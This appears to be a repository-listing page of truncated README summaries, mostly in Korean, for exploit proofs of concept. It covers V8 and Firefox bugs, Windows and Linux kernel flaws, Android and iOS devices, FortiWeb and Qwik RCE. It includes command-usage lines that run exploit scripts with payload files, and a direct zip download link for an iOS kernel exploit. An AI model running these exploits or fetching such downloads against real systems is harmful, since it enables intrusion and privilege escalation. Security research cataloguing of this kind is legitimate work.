CVE-2025-5419

CVE-2025-5419 V8의 잘못된 Turboshaft Store-Store Elimination으로 인한 초기화되지 않은 읽기 취약점입니다. 이 저장소는 이 취약점을 악용하여 V8 샌드박스 내에서 Arbitrary Read / Write, AddressOf 및 FakeObject 프리미티브를 얻기 위한 분석 및 안정화된 익스플로잇을 포함합니다. 분석: CVE-2025-5419.pdf 재현 정보 OS: Ubuntu 24.04 Git Commit: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 감사...

CVE-2021-31728

CVE-2021-31727 및 CVE-2021-31728 CVE-2021-31727 공개 참조 제한 없는 디스크 읽기/쓰기 기능을 노출합니다. CVE-2021-31728 공개 참조 임의의 ring 0 코드 실행을 직접 노출합니다. 크레딧 Lima X 님이 SystemBigPoolInformation 아이디어를 도와주셨습니다...

CVE-2025-6554

CVE-2025-6554 이 저장소에는 다음이 포함되어 있습니다 이 저장소는 V8 샌드박스에서 addressof 및 fakeobj 프리미티브와 임의 주소 읽기/쓰기 프리미티브를 구성하고 증명했습니다. 재현 정보 커밋: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 명령줄: out\x64.release\d8 --allow-natives-syntax 감사의 말 poc를 찾아주신 @DarkNavyOrg님께 감사드립니다. 이 버그에 대한 상세한 분석을 작성해 주신 qianxin님께 감사드립니다. 익스플로잇...

oob_entry

oobentry: tfp0 접근을 위한 승인된 iOS 커널 익스플로잇 연구 릴리즈 보기: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 연구자들이 tfp0 접근과 관련된 iOS 커널 개념을 문서화하고, 논의하고, 지식을 공유할 수 있는 차분하고 신중한 공간입니다. 이 저장소는 실험실 환경에서의 거버넌스, 윤리, 재현 가능하며 승인된 연구에 중점을 둡니다. 즉시 사용 가능한 익스플로잇 절차, 배포 채널, 또는 무단 접근을 가능하게...

mtkclient

언어: 🇺🇸 🇨🇳 MTKClient 단순히 익스플로잇, 플래시 읽기/쓰기 및 엽기적인 작업을 위한 mtk 도구입니다. Windows의 경우, 기본 mtk 포트와 usbdk 드라이버를 설치해야 합니다 아래 지침 참조. Linux의 경우, 오래된 kamakiri를 사용할 때만 패치된 커널이 필요합니다 Setup 폴더 참조 플래시 읽기/쓰기 제외. mtk 스크립트가 실행되면, 장치를 꺼서 brom 모드로 부팅하고, 볼륨 업 + 전원 또는 볼륨 다운 + 전원 중 하나를 누르고 있는 상태에서 전화기를 연결하세요. 도구가 감지하면 버튼에서...

CVE-2019-9791

Firefox 65.0을 대상으로 하는 CVE-2019-9791 및 CVE-2019-11708 익스플로잇 체인 Windows 64비트의 Firefox 65.0에서 작동합니다. CVE-2019-11708 부분은 0vercl0k의 익스플로잇에서 가져왔습니다: https://github.com/0vercl0k/CVE-2019-11708 이 익스플로잇은 CVE-2019-9791을 사용하여 콘텐츠 프로세스에서 읽기/쓰기 프리미티브를 얻은 다음, CVE-2019-11708을 사용하여 메인 프로세스가 임의의 URL을 로드하도록 합니다. 부...

CVE-2022-22063

CVE-2022-22063 CVE-2022-22063는 일부 구형 퀄컴 칩셋의 하이퍼바이저 펌웨어에서 발견된 보안 문제입니다. 보호되지 않은 하드웨어 구성 요소"부트 리매퍼"를 악용하여 수정된 운영 체제에서 하이퍼바이저에 대한 전체 읽기/쓰기 액세스 권한을 얻을 수 있습니다권한 상승. 특정 펌웨어 버전예: 주소 또는 변수에 대한 지식이 필요하지 않기 때문에 영향을 받는 플랫폼에서 이 문제를 악용하는 것은 간단합니다. 참고: 퀄컴이 고객에게 수정 사항을 제공했지만업데이트를 출시할 충분한 시간 포함 영향을 받는 많은 장치가 이미...

CVE-2022-1015

CVE-2022-1015 Linux Kernel의 OOB 읽기 및 쓰기 취약점에 대한 write-up 및 로컬 권한 상승 PoCProof-of-Concept입니다. 이 취약점에 대한 write-up은 제 블로그에서 찾을 수 있으며, nftables에 대한 소개도 여기에서 확인할 수 있습니다. 중요한 참고 사항 이 저장소에 제공된 익스플로잇이 취약한 커널 버전에서 즉시 성공적으로 실행될 것으로 기대해서는 안 됩니다. 커널 빌드마다 많은 오프셋이 다를 수 있으며, 당연히 ROP 가젯도 다릅니다. 때로는 커널 빌드 간 차이로 인해...

SiYuan - SQL Execution

SiYuan = v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleRead...

Apache DolphinScheduler >= 3.1.0, < 3.2.2 Resource File Read And Write

File read and write vulnerability in Apache DolphinScheduler, authenticated users can illegally access additional resource files. This issue affects Apache DolphinScheduler from 3.1.0 before 3.2.2. id: CVE-2024-30188 info: name: Apache DolphinScheduler = 3.1.0, 3.2.2 Resource File Read And Write...

CVE-2026-43499-S25U

Galaxy S25 Ultra용 CVE-2026-43499 PoC 한국 Samsung Galaxy S25 Ultra에서 CVE-2026-43499에 대한 기기별 개념 증명 PoC입니다. 지원 대상 Model: SM-S938N Codename: pa3q Android: 16 / API 36 Build: S938NKSUACZF1 Display ID: BP4A.251205.006.S938NKSUACZF1 Fingerprint:...

CVE-2020-15368

취약한 Windows 드라이버를 익스플로잇하는 방법 CVE-2020-15368에 대한 익스플로잇 및 개념 증명PoC입니다. Asrock은 RGB 컨트롤러 구성 도구를 위해 rweverything 드라이버를 다시 패키징하고 서명했습니다. 그들은 ioctl을 암호화하여 "보호"합니다...ㅋㅋ. 우리는 지난여름에 이 CVE를 우연히 발견했고, 아는 한 이 드라이버는 여전히 패치되지 않았습니다. 물론 영향은 커널에서의 임의 코드 실행 등입니다. 그럼 이 "0day"를 즐기세요 ㅋㅋ. 이것이 진짜 '진정한' CVE인지에 대해 나와 논쟁...

smbeagle

/ \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle은 네트워크에서 볼 수 있는 모든 파일을 찾아내고 해당 파일을 읽거나 쓸 수 있는지 보고하는 크로스 플랫폼 SMB 파일 공유 감사 도구입니다. 모든 결과는 CSV 파일이나 Elasticsearch 호스트, 또는 둘 다로 스트리밍됩니다!?...

CVE-2025-21333-POC

CVE-2025-21333-POC vkrnlintvsp.sys의 CVE-2025-21333을 악용하는 개념 증명PoC입니다 요구 사항 및 제한 사항 섹션 참조, 신뢰성 낮음. 참조 섹션에는 이 익스플로잇을 다루고자 하는 사람들에게 매우 유용한 자료가 있습니다. 취약점 및 익스플로잇에 대한 상세 분석은 여기에서 확인할 수 있습니다. 이 취약점은 위협 행위자에 의해 활발히 악용되고 있는 것으로 탐지되었습니다. Windows 11 23h2 에서 테스트되었습니다. Windows 11 24h2 에서도 작동할 수 있지만 테스트하지는...

CVE-2026-11645

CVE-2026-11645 - 원격 코드 실행 이전의 Google Chrome V8 빠른 사용법 python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe 악용 참고 사항 심각도: HIGH CVSS: 8.8 영향: 기밀성, 무결성, 가용성 게시일: 2026-06-09 기술 요약 Google Chrome 149.0.7827.103 이전 버전의 V8에서 발생하는 경계를 벗어난 읽기 및 쓰기로 인해 원격 공격자가 조작된 HTML 페이지를 통해 샌드박스...

CVE-2025-25257

CVE-2025-25257 FortiWeb CVE-2025-25257 익스플로잇 https://pwner.gg/blog/2025-07-10-fortiweb-fabric-rce exp.py: 작동/완전한 익스플로잇. signed.py: 파일 읽기/쓰기의 PoC에 불과합니다. 익스플로잇의 초기 버전...

RtlHijack

RtlHijack Rtl 関数を意図しない方法で使用した代替の Read / Write プリミティブを実演するスクリプト集です。 RtlFillMemory.c RtlFillMemory は3つの引数、すなわち書き込み先メモリへのポインタ、書き込むバイト数、および1バイトの値を取ります。指定されたメモリブロックに1バイトだけを書き込みます。 RtlInitializeBitMapEx.c RtlInitializeBitMapEx と RtlFillMemory を組み合わせた書き込みプリミティブです。...

huawei-p10-cve-2017-8890-unlock

Huawei P10 CVE-2017-8890 부트로더 잠금 해제 연구 이 저장소는 소유자가 승인한 연구 프로젝트를 문서화한 것으로, CVE-2017-8890을 Huawei P10 펌웨어 하나에 포팅하고, 커널 use-after-free를 임의 커널 읽기/쓰기 및 임시 root로 변환하고, Huawei의 NVE 저널을 재구성했으며, 정상적인 NVE 드라이버를 통해 교체용 부트로더 자격 증명을 설치하고, fastboot가 선택한 평문 코드를 수락했는지 검증했습니다. 테스트 대상은 다음과 같습니다: Huawei P10 VTR-L29...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트 완료 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server 대상 서버 IP 또는 호스트 optional arguments: -h,...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 인증되지 않은 RCE PoC !WARNING 이 저장소에는 활성 원격 코드 실행RCE 개념 증명PoC이 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 작성자는 무단 사용 또는 피해에 대해 책임을 지지 않습니다. Qwik server$ RPC 역직렬화 메커니즘의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 에 대한 독립형 Python 개념 증명PoC입니다. 이 PoC...